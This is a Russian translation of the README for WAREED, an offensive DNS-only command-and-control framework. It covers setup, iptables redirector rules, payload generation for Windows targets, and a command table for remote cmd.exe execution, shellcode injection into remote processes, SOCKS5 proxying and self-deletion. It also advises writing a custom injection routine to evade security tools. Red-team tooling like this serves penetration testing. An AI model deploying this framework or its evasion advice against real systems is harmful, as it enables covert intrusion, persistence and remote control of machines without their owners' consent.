
DNS-ориентированный фреймворк управления и контроля (C2) с агентом для Windows, генерацией полезной нагрузки, удалённым выполнением shell-команд, внедрением shellcode и поддержкой SOCKS5-прокси для скрытных операций.

WAREED — это фреймворк Command and Control (C2), использующий протокол DNS для безопасной связи между сервером и целью. Разработанный для минимизации объёма связи и ограничения обмена данными, он предназначен для использования в качестве C2 первой стадии для закрепления на машинах, которые не имеют доступа в интернет через HTTP/HTTPS, но где DNS разрешён.
разработано : @Fsalabduljabbar

Хотя многие фреймворки Command and Control (C2) поддерживают DNS в качестве транспортного протокола, в основном они разработаны для HTTP/HTTPS. Перевод этих фреймворков на DNS часто приводит к более медленной и менее стабильной работе. Столкнувшись с многочисленными проблемами из-за нестабильности этих фреймворков при DNS-транзакциях, я был вынужден создать решение, специально адаптированное под DNS. Результатом стал Wareed — C2-фреймворк, работающий исключительно через DNS. Такая узкая специализация обеспечивает более стабильную и эффективную работу, делая Wareed быстрее и надёжнее по сравнению с традиционными C2-фреймворками, которые не предназначены в первую очередь для DNS. Это делает Wareed идеальным выбором для сред, где DNS-трафик разрешён, а HTTP/HTTPS ограничен.
Он разработан с использованием трёх языков программирования:
Пояснение названий:
Hams (همس) означает "шёпот" на арабском языке
Wareed (وريد) означает "вена" на арабском языке
Ather (أثر) означает "след" на арабском языке
Шаг 1: Клонируйте репозиторий Wareed:
git clone https://github.com/Faisal-P27/WAREED-DNS-C2.git
Шаг 2: Запустите скрипт установки:
cd WAREED-DNS-C2
chmod +x Run.sh
sudo ./Run.sh setup
Если процесс компиляции завершится успешно, в том же каталоге будут созданы два исполняемых файла:
Также будет проверен статус компиляции агента. В случае успеха это подтверждает, что агент готов к развёртыванию и работе, что имеет решающее значение для функционирования Wareed C2.
{
"magic_value": "cdn",
"domains": ["2.example.net"],
"listener_port": "111",
"sleep": 5,
"jitter": 50,
"lookup_delay": 5,
"default_dns_server": "1.1.1.1"
}
magic_value: длина должна быть равна 3.
Настройка DNS: Для работы Wareed необходимо иметь действительное доменное имя. После приобретения домена необходимо настроить две DNS-записи, указывающие на редиректор:

Настройка редиректора:
Редиректор будет обрабатывать входящий DNS-трафик на порту 53 и перенаправлять его на team-сервер. Для этого выполните следующие команды iptables на машине-редиректоре (R1):
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
Эта команда настраивает брандмауэр на приём входящих UDP-пакетов на порту 53, который является стандартным портом для DNS-запросов.
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination [TeamServer IP]:[teamserver listener port]
Замените [TeamServer IP] на фактический IP-адрес вашего team-сервера, а [teamserver listener port] — на номер порта, на котором прослушивает ваш team-сервер. Эта команда направляет весь трафик, поступающий на порт 53, на указанные IP-адрес и порт team-сервера.

Чтобы запустить team-сервер Wareed в первый раз, необходимо указать файл конфигурации, пароль клиента и порт, на котором будет слушать клиент. Используйте следующую команду для запуска team-сервера Wareed:
sudo ./WareedServer [Client Password] [Client Port Listener] [Path to configuration file]
Чтобы запустить GUI-клиент Ather, просто выполните:
./Ather
После выполнения команды появится новое окно со страницей входа.

Данные для входа: На появившейся странице входа:
Главное окно Wareed:

Чтобы сгенерировать новый payload с помощью GUI-клиента Ather, выполните следующие шаги:
Переход к генерации payload:
Payload > Generate > Windows. При выборе этого пункта откроется новое окно, предназначенное для генерации payload.
После генерации нового payload на team-сервере автоматически регистрируется новая гостевая сессия. Этот процесс регистрации гарантирует, что только эта конкретная сессия сможет подключиться к team-серверу. Для аутентификации и авторизации сессии используются уникальный идентификатор и 'magic value'. Этот механизм обеспечивает безопасную и контролируемую связь между сгенерированным payload и team-сервером.

После запуска payload на машине с Windows он начнёт генерировать DNS-запросы для регистрации на team-сервере. Этот процесс регистрации занимает несколько секунд и обычно включает генерацию от 3 до 5 DNS-запросов.

Чтобы взаимодействовать с сессией, просто щёлкните правой кнопкой мыши по нужной сессии и выберите "Interact" в контекстном меню. Это действие откроет новую вкладку с интерфейсом терминала. В этом терминале вы можете выполнять команды

Примечание: Команда
injectпроста, но часто обнаруживается средствами защиты. Чтобы повысить скрытность, вам следует реализовать собственную технику инъекции. Измените код инъекции вAgent/Source/Core/Tasks/Modules/Injection.c. Вот базовый шаблон для настройки функции инъекции:
int Inject(unsigned char *ShellCode, int size, int ProcessID) {
// Add your injection technique here.
// You will receive the shellcode in [unsigned char *ShellCode] and shellcode size in [nt size]
// and the process ID in [int ProcessID].
}
Чтобы очистить базу данных, просто выполните следующую команду в терминале:
./Run clean
Хотя у меня нет непосредственных планов продолжать вкладывать время в проект Wareed, это был невероятный путь обучения, и мне он очень понравился. Я рад сообщить, что планирую запустить новый крупный проект — THAWD BAS. Для получения дополнительной информации посетите Thawd.io.
Если у вас есть навыки разработки и вы заинтересованы в участии в разработке Wareed, вот несколько возможностей:
Эта работа не могла бы быть выполнена без вклада нескольких выдающихся проектов с открытым исходным кодом:
DNSStager от - @mohammadaskar2
Boomerang от - @NinjaParanoid
| Команда | Описание | Использование | Пример |
|---|
| help | Показывает справочное сообщение указанной команды | [command] | help shell |
| sleep | Задаёт задержку сна с джиттером | [delay] [jitter] | sleep 10 50 |
| shell | Выполняет команды cmd.exe и возвращает вывод | [commands] | shell dir c:\windows\system32 (пожалуйста, не делайте этого) |
| inject | Внедряет шеллкод в удалённый процесс | [pid] [shellcode_path] | inject 1234 /path/to/shellcode.bin |
| proxystart | Запускает прокси SOCKS5 | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystart example.com 443 1080 |
| proxystop | Останавливает прокси SOCKS5 | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystop example.com 443 1080 |
| adddomain | Добавляет новый домен для обратного вызова | [domain_name] | adddomain example.com |
| deldomain | Удаляет домен для обратного вызова | [domain_name] | deldomain example.com |
| listdomain | Выводит список всех активных доменов для обратного вызова | listdomain | |
| kill | Завершает текущий процесс. | [yes] | kill yes |
| wipe | Завершает и удаляет текущий процесс. | [yes] | wipe yes |
| selfdel | Удаляет текущий процесс с диска. | [yes] | selfdel yes |
| tasklist | Выводит список всех задач в очереди | tasklist | |
| taskdel | Удаляет конкретную задачу по ID | [task id] | taskdel 123 |
| tasksclean | Удаляет все задачи из очереди | [yes] | tasksclean yes |
| clear | Очищает экран терминала | clear |